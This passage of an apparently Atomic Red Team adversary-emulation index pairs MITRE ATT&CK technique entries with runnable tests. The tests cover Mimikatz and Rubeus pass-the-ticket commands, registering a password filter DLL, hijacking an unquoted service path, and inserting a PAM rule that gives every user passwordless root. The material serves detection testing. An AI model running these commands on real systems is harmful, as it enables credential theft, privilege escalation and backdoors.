      - Windows
      identifier: T1550.003
    atomic_tests:
    - name: Mimikatz Kerberos Ticket Attack
      auto_generated_guid: dbf38128-7ba7-4776-bedf-cc2eed432098
      description: 'Similar to PTH, but attacking Kerberos

'
      supported_platforms:
      - windows
      input_arguments:
        ticket:
          description: Ticket file name usually format of 'id-username\@domain.kirbi'
            (e.g. can be dumped by "sekurlsa::tickets /export" module)
          type: String
          default: 
        mimikatz_exe:
          description: Path of the Mimikatz binary
          type: Path
          default: PathToAtomicsFolder\T1550.003\bin\mimikatz.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz must exist on disk at specified location (#{mimikatz_exe})

'
        prereq_command: 'if (Test-Path #{mimikatz_exe}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          $mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href
          Invoke-WebRequest "https://github.com$mimikatz_relative_uri" -UseBasicParsing -OutFile "$env:TEMP\Mimi.zip"
          Expand-Archive $env:TEMP\Mimi.zip $env:TEMP\Mimi -Force
          New-Item -ItemType Directory (Split-Path #{mimikatz_exe}) -Force | Out-Null
          Copy-Item $env:TEMP\Mimi\x64\mimikatz.exe #{mimikatz_exe} -Force
      executor:
        command: '#{mimikatz_exe} "kerberos::ptt #{ticket}"

'
        name: command_prompt
    - name: Rubeus Kerberos Pass The Ticket
      auto_generated_guid: a2fc4ec5-12c6-4fb4-b661-961f23f359cb
      description: |
        Requesting a TGT on a remote system and retrieving it locally before requesting a service ticket with it. This is a Pass-The-Ticket attack because the TGT is obtained on the remote system, then used from a different machine (local).
        PsExec is used to execute commands on the remote system, and the "C$" admin share is used to retrieve the TGT, so the current user must have admin rights remotely and other PsExec prerequisites must be met.
      supported_platforms:
      - windows
      input_arguments:
        target:
          description: Remote system to request the TGT from
          type: string
          default: localhost
        user_name:
          description: username associated with the ticket (privileged account not
            required)
          type: String
          default: Administrator
        password:
          description: password for user_name
          type: String
          default: Password
        domain:
          description: domain
          type: String
          default: "$Env:USERDOMAIN"
        rubeus_path:
          description: Path of the Rubeus binary
          type: Path
          default: "$Env:TEMP\\rubeus.exe"
        rubeus_url:
          description: URL of Rubeus executable
          type: Url
          default: https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe
        psexec_path:
          description: Path of the PsExec binary
          type: String
          default: C:\PSTools\PsExec.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Rubeus must exist on disk at specified location (#{rubeus_path})

'
        prereq_command: 'if (Test-Path #{rubeus_path}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{rubeus_path}

'
      - description: 'PsExec must exist on disk at specified location (#{psexec_path})

'
        prereq_command: 'if (Test-Path #{psexec_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip"
          Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force
          New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null
          Copy-Item $env:TEMP\PsTools\PsExec.exe "#{psexec_path}" -Force
      executor:
        name: powershell
        elevation_required: true
        command: "#{psexec_path} -accepteula \\\\#{target} -w c:\\ -c #{rubeus_path}
          asktgt /user:#{user_name} /password:#{password} /domain:#{domain} /outfile:ticket.kirbi\nSet-Location
          $env:TEMP\nMove-Item -Force \"\\\\#{target}\\c$\\ticket.kirbi\" ticket.kirbi\nWrite-Host
          \"Successfully retrieved TGT from '#{target}', now requesting a TGS from
          local\"\n& \"#{rubeus_path}\" asktgs /service:cifs/#{target} /ticket:ticket.kirbi
          /ptt\nRemove-Item $env:TEMP\\ticket.kirbi\n& \"#{rubeus_path}\" purge      \n"
  T1556.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1556.002
        url: https://attack.mitre.org/techniques/T1556/002
      - url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
        description: Fuller, R. (2013, September 11). Stealing passwords every time
          they change. Retrieved November 21, 2017.
        source_name: Carnal Ownage Password Filters Sept 2013
      - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
        description: Bialek, J. (2013, September 15). Intercepting Password Changes
          With Function Hooking. Retrieved November 21, 2017.
        source_name: Clymb3r Function Hook Passwords Sept 2013
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Password Filter DLL
      description: "Adversaries may register malicious password filter dynamic link
        libraries (DLLs) into the authentication process to acquire user credentials
        as they are validated. \n\nWindows password filters are password policy enforcement
        mechanisms for both domain and local accounts. Filters are implemented as
        DLLs containing a method to validate potential passwords against password
        policies. Filter DLLs can be positioned on local computers for local accounts
        and/or domain controllers for domain accounts. Before registering new passwords
        in the Security Accounts Manager (SAM), the Local Security Authority (LSA)
        requests validation from each registered filter. Any potential changes cannot
        take effect until every registered filter acknowledges validation. \n\nAdversaries
        can register malicious password filters to harvest credentials from local
        computers and/or entire domains. To perform proper validation, filters must
        receive plain-text credentials from the LSA. A malicious password filter would
        receive these plain-text credentials every time a password request is made.(Citation:
        Carnal Ownage Password Filters Sept 2013)"
      id: attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-20T20:11:55.147Z'
      created: '2020-02-11T19:05:45.829Z'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_contributors:
      - Vincent Le Toux
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
        Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages</code>) and correlate then investigate the DLL files these files reference.

        Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1556.002
    atomic_tests:
    - name: Install and Register Password Filter DLL
      auto_generated_guid: a7961770-beb5-4134-9674-83d7e1fa865c
      description: 'Uses PowerShell to install and register a password filter DLL.
        Requires a reboot and administrative privileges.

'
      supported_platforms:
      - windows
      input_arguments:
        input_dll:
          description: Path to DLL to be installed and registered
          type: Path
          default: PathToAtomicsFolder\T1556.002\src\AtomicPasswordFilter.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'AtomicPasswordFilter.dll must exist on disk at specified location
          (#{input_dll})

'
        prereq_command: 'if (Test-Path #{input_dll}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Write-Host "You must provide your own password filter
          dll"

'
      executor:
        command: |
          $passwordFilterName = (Copy-Item "#{input_dll}" -Destination "C:\Windows\System32" -PassThru).basename
          $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
          $notificationPackagesValues = $lsaKey.GetValue("Notification Packages")
          $notificationPackagesValues += $passwordFilterName
          Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues
          Restart-Computer -Confirm
        name: powershell
        elevation_required: true
  T1601.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1601.001
        url: https://attack.mitre.org/techniques/T1601/001
      - source_name: Killing the myth of Cisco IOS rootkits
        url: https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf
        description: Sebastian 'topo' Muñiz. (2008, May). Killing the myth of Cisco
          IOS rootkits. Retrieved October 20, 2020.
      - source_name: Killing IOS diversity myth
        url: https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf
        description: 'Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August).
          Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode
          design. Retrieved October 20, 2020.'
      - source_name: Cisco IOS Shellcode
        url: http://2015.zeronights.org/assets/files/05-Nosenko.pdf
        description: 'George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved
          October 21, 2020.'
      - source_name: Cisco IOS Forensics Developments
        url: https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf
        description: Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS
          Forensics. Retrieved October 21, 2020.
      - source_name: Juniper Netscreen of the Dead
        url: https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf
        description: Graeme Neilson . (2009, August). Juniper Netscreen of the Dead.
          Retrieved October 20, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Image File Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Patch System Image
      description: "Adversaries may modify the operating system of a network device
        to introduce new capabilities or weaken existing defenses.(Citation: Killing
        the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation:
        Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation:
        Juniper Netscreen of the Dead) Some network devices are built with a monolithic
        architecture, where the entire operating system and most of the functionality
        of the device is contained within a single file.  Adversaries may change this
        file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo
        change the operating system in storage, the adversary will typically use the
        standard procedures available to device operators. This may involve downloading
        a new file via typical protocols used on network devices, such as TFTP, FTP,
        SCP, or a console connection.  The original file may be overwritten, or a
        new file may be written alongside of it and the device reconfigured to boot
        to the compromised image.\n\nTo change the operating system in memory, the
        adversary typically can use one of two methods. In the first, the adversary
        would make use of native debug commands in the original, unaltered running
        operating system that allow them to directly modify the relevant memory addresses
        containing the running operating system.  This method typically requires administrative
        level access to the device.\n\nIn the second method for changing the operating
        system in memory, the adversary would make use of the boot loader. The boot
        loader is the first piece of software that loads when the device starts that,
        in turn, will launch the operating system.  Adversaries may use malicious
        code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004)
        method, to directly manipulate running operating system code in memory.  This
        malicious code in the bootloader provides the capability of direct memory
        manipulation to the adversary, allowing them to patch the live operating system
        during runtime.\n\nBy modifying the instructions stored in the system image
        file, adversaries may either weaken existing defenses or provision new capabilities
        that the device did not have before. Examples of existing defenses that can
        be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600),
        authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004),
        and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599).
        \ Adding new capabilities for the adversary’s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001),
        [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port
        Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may
        also compromise existing commands in the operating system to produce false
        output to mislead defenders.   When this method is used in conjunction with
        [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one
        example of a compromised system command may include changing the output of
        the command that shows the version of the currently running operating system.
        \ By patching the operating system, the adversary can change this command
        to instead display the original, higher revision number that they replaced
        through the system downgrade. \n\nWhen the operating system is patched in
        storage, this can be achieved in either the resident storage (typically a
        form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005).
        \n\nWhen the technique is performed on the running operating system in memory
        and not on the stored copy, this technique will not survive across reboots.
        \ However, live memory modification of the operating system can be combined
        with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve
        persistence. "
      id: attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-10-22T17:50:46.560Z'
      created: '2020-10-19T19:49:24.129Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source.  Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not.  Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)

        Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory.  If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_platforms:
      - Network
    atomic_tests: []
  T1574.007:
    technique:
      created: '2020-03-13T14:10:43.424Z'
      modified: '2020-09-16T16:56:34.583Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1574.007
        url: https://attack.mitre.org/techniques/T1574/007
      - external_id: CAPEC-13
        source_name: capec
        url: https://capec.mitre.org/data/definitions/13.html
      - external_id: CAPEC-38
        source_name: capec
        url: https://capec.mitre.org/data/definitions/38.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Path Interception by PATH Environment Variable
      description: |-
        Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.

        The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\system32</code> (e.g., <code>C:\Windows\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

        For example, if <code>C:\example path</code> precedes </code>C:\Windows\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\example path</code> will be called instead of the Windows system "net" when "net" is executed from the command-line.
      id: attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32
      x_mitre_defense_bypassed:
      - Application control
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: |-
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1574.008:
    technique:
      id: attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.

        Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

        For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)

        Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
      name: Path Interception by Search Order Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.008
        url: https://attack.mitre.org/techniques/T1574/008
      - external_id: CAPEC-159
        source_name: capec
        url: https://capec.mitre.org/data/definitions/159.html
      - url: http://msdn.microsoft.com/en-us/library/ms682425
        description: Microsoft. (n.d.). CreateProcess function. Retrieved December
          5, 2014.
        source_name: Microsoft CreateProcess
      - source_name: Windows NT Command Shell
        url: https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120
        description: Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved
          December 5, 2014.
      - url: http://msdn.microsoft.com/en-us/library/ms687393
        description: Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.
        source_name: Microsoft WinExec
      - source_name: Microsoft Environment Property
        url: https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN
        description: Microsoft. (2011, October 24). Environment Property. Retrieved
          July 27, 2016.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-09-17T19:03:35.217Z'
      created: '2020-03-13T17:48:58.999Z'
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_detection: |
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_permissions_required:
      - Administrator
      - User
      - SYSTEM
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1574.009:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1574.009
        url: https://attack.mitre.org/techniques/T1574/009
      - external_id: CAPEC-38
        source_name: capec
        url: https://capec.mitre.org/data/definitions/38.html
      - source_name: Microsoft CurrentControlSet Services
        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
        description: Microsoft. (2017, April 20). HKLM\SYSTEM\CurrentControlSet\Services
          Registry Tree. Retrieved March 16, 2020.
      - source_name: Help eliminate unquoted path
        url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
        description: Mark Baggett. (2012, November 8). Help eliminate unquoted path
          vulnerabilities. Retrieved November 8, 2012.
      - source_name: Windows Unquoted Services
        url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
          Services. Retrieved August 10, 2018.
      - source_name: Windows Privilege Escalation Guide
        url: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
        description: absolomb. (2018, January 26). Windows Privilege Escalation Guide.
          Retrieved August 10, 2018.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Path Interception by Unquoted Path
      description: |-
        Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

        Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)

        This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.
      id: attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-09-17T19:05:23.755Z'
      created: '2020-03-13T13:51:58.519Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_detection: |-
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_platforms:
      - Windows
      identifier: T1574.009
    atomic_tests:
    - name: Execution of program.exe as service with unquoted service path
      auto_generated_guid: 2770dea7-c50f-457b-84c4-c40a47460d9f
      description: |
        When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability
        known as Unquoted Service Path which allows a user to gain SYSTEM privileges.
        In this case, if an executable program.exe in C:\ exists, C:\program.exe will be executed instead of test.exe in C:\Program Files\subfolder\test.exe.
      supported_platforms:
      - windows
      input_arguments:
        service_executable:
          description: Path of the executable used for the service and as the hijacked
            program.exe
          type: Path
          default: PathToAtomicsFolder\T1574.009\bin\WindowsServiceExample.exe
      executor:
        command: |
          copy #{service_executable} "C:\Program Files\windows_service.exe"
          copy #{service_executable} "C:\program.exe"
          sc create "Example Service" binpath= "C:\Program Files\windows_service.exe" Displayname= "Example Service" start= auto
          sc start "Example Service"
        cleanup_command: |
          sc stop "Example Service" >nul 2>&1
          sc delete "Example Service" >nul 2>&1
          del "C:\Program Files\windows_service.exe" >nul 2>&1
          del "C:\program.exe" >nul 2>&1
          del "C:\Time.log" >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1556.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1556.003
        url: https://attack.mitre.org/techniques/T1556/003
      - source_name: Apple PAM
        url: https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt
        description: Apple. (2011, May 11). PAM - Pluggable Authentication Modules.
          Retrieved June 25, 2020.
      - source_name: Man Pam_Unix
        url: https://linux.die.net/man/8/pam_unix
        description: die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June
          25, 2020.
      - source_name: Red Hat PAM
        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules
        description: Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES
          (PAM). Retrieved June 25, 2020.
      - source_name: PAM Backdoor
        url: https://github.com/zephrax/linux-pam-backdoor
        description: zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June
          25, 2020.
      - source_name: PAM Creds
        url: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/
        description: Fernández, J. M. (2018, June 27). Exfiltrating credentials via
          PAM backdoors & DNS requests. Retrieved June 26, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Pluggable Authentication Modules
      description: |-
        Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)

        Adversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)

        Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)
      id: attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-20T20:12:34.422Z'
      created: '2020-06-26T04:01:09.648Z'
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - root
      x_mitre_detection: |-
        Monitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.

        Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Logon Session: Logon Session Creation'
      x_mitre_contributors:
      - Scott Knight, @sdotknight, VMware Carbon Black
      - George Allen, VMware Carbon Black
      x_mitre_platforms:
      - Linux
      - macOS
      identifier: T1556.003
    atomic_tests:
    - name: Malicious PAM rule
      auto_generated_guid: 4b9dde80-ae22-44b1-a82a-644bf009eb9c
      description: |
        Inserts a rule into a PAM config and then tests it.

        Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
      supported_platforms:
      - linux
      input_arguments:
        path_to_pam_conf:
          description: PAM config file to modify.
          type: String
          default: "/etc/pam.d/su-l"
        pam_rule:
          description: Rule to add to the PAM config.
          type: String
          default: auth sufficient pam_succeed_if.so uid >= 0
        index:
          description: Index where the rule is inserted.
          type: Integer
          default: 1
      executor:
        name: sh
        elevation_required: true
        command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}

'
        cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf}

'
    - name: Malicious PAM module
      auto_generated_guid: 65208808-3125-4a2e-8389-a0a00e9ab326
      description: |
        Creates a PAM module, inserts a rule to use it, and then tests it.

        Upon successful execution, this test will create a PAM module that allows every user to su to root without a password.
      supported_platforms:
      - linux
      input_arguments:
        path_to_pam_conf:
          description: PAM config file to modify.
          type: String
          default: "/etc/pam.d/su-l"
        pam_rule:
          description: Rule to add to the PAM config.
          type: String
          default: auth sufficient /tmp/pam_evil.so
        index:
          description: Index where the rule is inserted.
          type: Integer
          default: 1
        path_to_pam_module_source:
          description: Path to PAM module source code.
          type: Path
          default: PathToAtomicsFolder/T1556.003/src/pam_evil.c
        path_to_pam_module:
          description: Path to PAM module object
          type: Path
          default: "/tmp/pam_evil.so"
      dependencies:
      - description: 'The PAM development library must be installed to build the PAM
          module

'
        prereq_command: 'if [ -f /usr/include/security/pam_modules.h ]; then exit
          0; else exit 1; fi;

'
        get_prereq_command: 'if [ -n "`which apt-get`" ]; then sudo apt-get -y install
          libpam0g-dev; elif [ -n "`which yum`" ]; then sudo yum -y install pam-devel;
          fi

'
      - description: 'The PAM module must exist on disk at specified location (#{path_to_pam_module})

'
